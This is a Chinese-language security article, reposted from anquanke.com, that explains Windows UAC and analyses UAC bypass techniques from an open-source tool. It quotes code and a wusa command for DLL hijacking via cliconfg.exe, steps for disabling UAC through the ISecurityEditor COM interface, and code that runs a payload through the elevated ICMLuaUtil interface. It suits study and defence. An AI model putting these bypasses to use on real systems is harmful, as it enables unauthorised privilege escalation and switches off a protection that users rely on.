BypassUAC原理及方法汇总——各类的UAC白名单程序的DLL劫持;各类自动提升权限的COM接口利用(Elevated COM interface) ;Windows 自身漏洞提权;远程注入
BypassUAC原理及方法汇总
from:https://www.anquanke.com/post/id/216808#h2-0
发布时间:2020-09-21 14:30:06
本文为UAC绕过方式的一些总结,辅以一些个人理解,请各位大佬指正。
什么是UAC
根据MSDN中的文档,User Account Control(UAC)是在Windows Vista 以后版本中引入的一种安全机制,针对具有有限权限的账户.
通过 UAC,应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员特别授予管理员级别的系统访问权限。UAC 可以阻止未经授权的应用程序自动进行安装,并防止无意中更改系统设置。
Launched with virtualization意味着对注册表或者文件系统的更改会在程序结束时失效
launched without elevated privilege 即在非特权级下运行
从上图中,我们看到如果想获取管理员权限(让程序在特权级运行),有以下几种方式:
- 通过run as administer/ 在shell中执行runas
- 未启用UAC
- 进程已经拥有管理权限控制
- 进程被用户允许通过管理员权限运行
UAC的实现
ACL(Access Control List):Windows 中所有资源都有 ACL ,这个列表决定了拥有何种权限的用户/进程能够这个资源。
在开启了 UAC 之后,如果用户是标准用户, Windows 会给用户分配一个标准 Access Token
如果用户以管理员权限登陆,会生成两份访问令牌,一份是完整的管理员访问令牌(Full Access Token),一份是标准用户令牌。一般情况下会以标准用户权限启动 Explorer.exe 进程。如果用户同意,则赋予完整管理员权限访问令牌进行操作。
可以使用whoami /priv
看当前的权限
在研究一些对抗方法的时候,我们可以从“安全总是要让步于业务”这个不成文的规则入手,不管是一些为了用户体验导致的安全性上的牺牲,或者是为了业务逻辑不得不做的一些不安全配置都是因为如此,举一个例子:我们在开启UAC的情况下,向安装位置在%PROGRAMFILES%安装文件时,总会弹出UAC提示,但是我们安装完成后,在进行程序卸载时却不会弹出任何UAC提示,细心的思考一下,你可能就会开始琢磨其中的端倪。本质上是因为Widnows为这些程序(或者接口)开启了autoElevate,也就是说Windows系统本身维护了一批这样的在UAC白名单中的程序,而我们就可以利用他们来绕过UAC,当然,这只是其中一种方式.
触发UAC
- 配置Windows Update
- 增加或删除用户账户
- 改变用户的账户类型
- 改变UAC设置
- 安装ActiveX
- 安装或移除程序
- 安装设备驱动程序
- 设置家长控制
- 将文件移动或复制到Program Files或Windows目录
- 查看其他用户文件夹
等等有很多,具体参考这里
触发流程:
在触发 UAC
时,系统会创建一个consent.exe
进程,该进程用以确定是否创建管理员进程(通过白名单和用户选择判断),然后creatprocess
请求进程,将要请求的进程cmdline和进程路径通过LPC接口传递给appinfo的RAiLuanchAdminProcess函数,该函数首先验证路径是否在白名单中,并将结果传递给consent.exe进程,该进程验证被请求的进程签名以及发起者的权限是否符合要求,然后决定是否弹出UAC框让用户进行确认。这个UAC框会创建新的安全桌面,屏蔽之前的界面。同时这个UAC框进程是SYSTEM权限进程,其他普通进程也无法和其进行通信交互。用户确认之后,会调用CreateProcessAsUser函数以管理员权限启动请求的进程
BypassUAC
目前公开的绕过UAC的几种方式:
- 各类的UAC白名单程序的DLL劫持
- 各类自动提升权限的COM接口利用(Elevated COM interface)
- Windows 自身漏洞提权
- 远程注入
本文主要论述前两种方法
这个怎么看,后面会说
ucmMethodsDispatchTable是一个UCM_API_DISPATCH_ENTRY的结构体数组,跟着看这个结构体的定义
// UCM_API_DISPATCH_ENTRY定义
typedef struct _UCM_API_DISPATCH_ENTRY {
PUCM_API_ROUTINE Routine; //执行的方法
PUCM_EXTRA_CONTEXT ExtraContext; //该方法执行时依赖的额外内容
UCM_METHOD_AVAILABILITY Availability; //可行的最小/最大windows版本号
ULONG PayloadResourceId; //使用的payload dll
BOOL Win32OrWow64Required;
BOOL DisallowWow64;
BOOL SetParameters; //是否需要shared参数被设置
} UCM_API_DISPATCH_ENTRY, *PUCM_API_DISPATCH_ENTRY;
在解析完结构体后,根据配置,加载额外的内容或payload.之后获取其他命令行参数,这里需要重点关注Routine,这个结构体变量,该变量是一个PUCM_API_ROUTINE类型的变量,定义如下:
typedef NTSTATUS(CALLBACK *PUCM_API_ROUTINE)(
_In_ PUCM_PARAMS_BLOCK Parameter
);
//稍微扩展一下:
typedef NTSTATUS(__stdcall *PUCM_API_ROUTINE)(
_In_ PUCM_PARAMS_BLOCK Parameter
);
即PUCM_API_ROUTINE是一个指向“接受一个PUCM_PARAMS_BLOCK类型作为参数并回传一个NTSTATUS类型值的函数”的指针别名,也就是说可以通过该函数指针去调用该函数.接着看PUCM_PARAMS_BLOCK:
typedef struct tagUCM_PARAMS_BLOCK {
UCM_METHOD Method;
PVOID PayloadCode;
ULONG PayloadSize;
} UCM_PARAMS_BLOCK, *PUCM_PARAMS_BLOCK;
PUCM_PARAMS_BLOCK是一个tagUCM_PARAMS_BLOCK的结构体指针,追到这里就可以不用在追了,将关键代码抽出来看:
Entry = &ucmMethodsDispatchTable[Method];
ParamsBlock.Method = Method;
ParamsBlock.PayloadCode = PayloadCode;
ParamsBlock.PayloadSize = PayloadSize;
MethodResult = Entry->Routine(&ParamsBlock);
Entry找到了结构体内对应method的入口,也就是{ MethodCarberp, NULL, { 7600, 10147 }, FUBUKI_ID, FALSE, TRUE, TRUE },
这一项,这里作出分析,MethodResult = Entry->Routine(&ParamsBlock);
这里其实等价于:`MethodResult = MethodCarberp(&ParamsBlock)
,我们看MethodCarberp的定义:
//#define UCM_API(n) NTSTATUS CALLBACK n(_In_ PUCM_PARAMS_BLOCK Parameter)
UCM_API(MethodCarberp)
{
//
// Additional checking for UacMethodCarberp1.
// Target application 'migwiz' unavailable in Syswow64 after Windows 7.
//
if (Parameter->Method == UacMethodCarberp1) {
if ((g_ctx->IsWow64) && (g_ctx->dwBuildNumber > 7601)) {
ucmShowMessage(g_ctx->OutputToDebugger, WOW64STRING);
return STATUS_UNKNOWN_REVISION;
}
}
return ucmWusaMethod(
Parameter->Method,
Parameter->PayloadCode,
Parameter->PayloadSize);
}
可见最终调用了ucmWusaMethod这个函数,将关键代码摘出来分析下:
/*
* ucmWusaMethod
*
* Purpose:
*
* Build and install fake msu package then run target application.
*
* Fixed in Windows 10 TH1
*
*/
NTSTATUS ucmWusaMethod(
_In_ UCM_METHOD Method,
_In_ PVOID ProxyDll,
_In_ DWORD ProxyDllSize
)
{
NTSTATUS MethodResult = STATUS_ACCESS_DENIED;
WCHAR szSourceDll[MAX_PATH * 2];
WCHAR szTargetProcess[MAX_PATH * 2];
WCHAR szTargetDirectory[MAX_PATH * 2];
_strcpy(szTargetProcess, g_ctx->szSystemDirectory);
_strcpy(szTargetDirectory, g_ctx->szSystemDirectory);
_strcpy(szSourceDll, g_ctx->szTempDirectory);
switch (Method) {
//
// Use cliconfg.exe as target.
// szTargetDirectory is system32
//
case UacMethodCarberp2:
_strcat(szSourceDll, NTWDBLIB_DLL);
_strcat(szTargetProcess, CLICONFG_EXE);
break;
default:
return STATUS_INVALID_PARAMETER;
}
if (!PathFileExists(szTargetProcess)) {
return STATUS_OBJECT_NAME_NOT_FOUND;
}
//
// Extract file to the protected directory
// First, create cab with fake msu ext, second run fusion process.
//
if (ucmCreateCabinetForSingleFile(
szSourceDll,
ProxyDll,
ProxyDllSize,
NULL))
{
if (ucmWusaExtractPackage(szTargetDirectory)) {
//run target process for dll hijacking
if (supRunProcess(szTargetProcess, NULL))
MethodResult = STATUS_SUCCESS;
}
ucmWusaCabinetCleanup();
}
return MethodResult;
}
经过分析可以发现BypassUAC的流程为:
- 生成ellocnak.msu,此文件是一个cab格式的文件,内容为ntwdblib.dll文件(该文件为程序生成的加密Payload),文件放置在用户临时目录下
- 通过之前介绍的WUSA将ellocnak.msu解压到system32目录下
cmd.exe /c wusa %temp%\ellocnak.msu /extract:%windir%\system32
- 运行C:\windows\system32\cliconfg.exe,进行DLL劫持
该方法劫持了cliconfig.exe对ntwdblib.dll的加载。
跟进生成的payload,看一下具体怎么实现的bypassUAC:
payload是在_UCM_API_DISPATCH_ENTRY中PayloadResourceId字段指明的,但这个字段只是一个payload的资源标识符,真正处理的的部分在methods.c中的supLdrQueryResourceData函数,代码如下:
Resource = supLdrQueryResourceData(
Entry->PayloadResourceId,
ImageBaseAddress,
&DataSize);
supLdrQueryResourceData中的关键部分如下:
if (DllHandle != NULL) {
IdPath[0] = (ULONG_PTR)RT_RCDATA; //type
IdPath[1] = ResourceId; //id
IdPath[2] = 0; //lang
status = LdrFindResource_U(DllHandle, (ULONG_PTR*)&IdPath, 3, &DataEntry);
if (NT_SUCCESS(status)) {
status = LdrAccessResource(DllHandle, DataEntry, (PVOID*)&Data, &SizeOfData);
if (NT_SUCCESS(status)) {
if (DataSize) {
*DataSize = SizeOfData;
}
}
}
}
其中LdrFindResource_U和LdrAccessResource都是从NTdll中导出的API,LdrFindResource_U会根据资源ID找到相应的资源,如果找到,则返回相应的句柄,后续应该使用LdrAccessResource来使用该句柄,这两个API都没有找到有人分析的使用方法,但是可以跟进payload中,其拓展如下:
这里又可以在bin32res.rc中找到资源文件的路径,这里就是加密的payload的了,刚刚我们看到在定义IDPath时,第一项type值为RT_RCDATA,指明了该资源是由.rc文件中的RCDATA字段指出其位置的,可以看到就是bin/fubuki32.cd
我们接着在程序中寻找解密的算法,其解密算法在compress.c中的DecompressPayload函数中定义:
PVOID DecompressPayload(
_In_ ULONG PayloadId,
_In_ PVOID pbBuffer,
_In_ ULONG cbBuffer,
_Out_ PULONG pcbDecompressed
)
其对应的参数为:
PayloadCode = g_ctx->DecompressRoutine(Entry->PayloadResourceId, Resource, DataSize, &PayloadSize);
Resource是加密的资源文件,在这里处理了加密过程
受篇幅所限,这里就不继续跟下去了,有兴趣的读者可以继续,其中密钥被放在了secrets.h中.这种方法就先说到这里
该项目中大部分Bypass UAC的方式都是这种DLL劫持的方法,只是劫持的DLL和EXE有所不同。
5号方法用的就是这种手法:
Author: WinNT/Simda
Type: Elevated COM interface
Method: ISecurityEditor
Target(s): HKLM registry keys
Component(s): -
Implementation: ucmSimdaTurnOffUac
Works from: Windows 7 (7600)
Fixed in: Windows 10 TH1 (10147)
How: ISecurityEditor interface method changed
关键代码如下:
- 使用ISecurityEditor修改上述注册表权限为可写
- 新建/修改注册表键EnableUA的值为0
- 重启系统,成功关闭UAC
可以有以下应用方式:
- 方式一:Win + R 快捷键调出“运行”对话框,输入 shell:::CLSID(例如 shell:::{26EE0668-A00A-44D7-9371-BEB064C98683} ),确定,即可打开“控制面板”(不是在cmd中)
- 方式二:创建快捷方式。在创建快捷方式时,只需在“请键入对象的位置”文本框中输入 explorer shell:::CLSID(例如explorer shell:::{26EE0668-A00A-44D7-9371-BEB064C98683} ),那么使用创建的快捷方式打开“控制面板”;
- 方式三:你也可以把某个系统组件的CLSID嵌入到应用软件中,以快速打开某组件;
OleViewDotNet工具,可以方便的查看系统中的COM接口属性信息,注意需要用管理员权限运行
Registry -> CLSIDs
在CLSID上右键 -> properties -> Elevation 可以看到该接口Enabled:True&Auto Approval:True,满足上述第一个条件
鼠标悬浮在ICMLuaUtil上,可以看到虚函数表地址在cmlua.dll+0x7360的位置处
用IDA打开看一下,找到0x180007360的位置,可以看到ICMLuaUtil接口的虚函数表
满足了第二个条件,即通过调用ShellExecuteEx
这个Windows API
实现了命令执行
我们具体看一下实现过程:
关键代码在Source\Akagi\methods\api0cradle.c中的ucmCMLuaUtilShellExecMethod函数中定义,同样,调用该函数前需要用supMasqueradeProcess伪装成白名单,关键函数如下:
NTSTATUS ucmCMLuaUtilShellExecMethod(
_In_ LPWSTR lpszExecutable
)
{
NTSTATUS MethodResult = STATUS_ACCESS_DENIED;
HRESULT r = E_FAIL, hr_init;
BOOL bApprove = FALSE;
ICMLuaUtil *CMLuaUtil = NULL;
hr_init = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED); //初始化当前线程Com组件
......
r = ucmAllocateElevatedObject(
T_CLSID_CMSTPLUA,
&IID_ICMLuaUtil,
CLSCTX_LOCAL_SERVER,
(void**)&CMLuaUtil);
......
r = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil,
lpszExecutable,
NULL,
NULL,
SEE_MASK_DEFAULT,
SW_SHOW);
......
if (CMLuaUtil != NULL) {
CMLuaUtil->lpVtbl->Release(CMLuaUtil);
}
if (hr_init == S_OK)
CoUninitialize();
return MethodResult;
}
ucmAllocateElevatedObject中用CoGetObject创建了一个以管理员权限运行的CMLuaUtil组件
然后用ShellExec传进来的lpszExecutable,也就是payload:
if (g_ctx->OptionalParameterLength == 0)
lpszParameter = g_ctx->szDefaultPayload;
else
lpszParameter = g_ctx->szOptionalParameter;
return ucmCMLuaUtilShellExecMethod(lpszParameter);
定义在sup.c中,就是一行简单滴调用cmd.exe的命令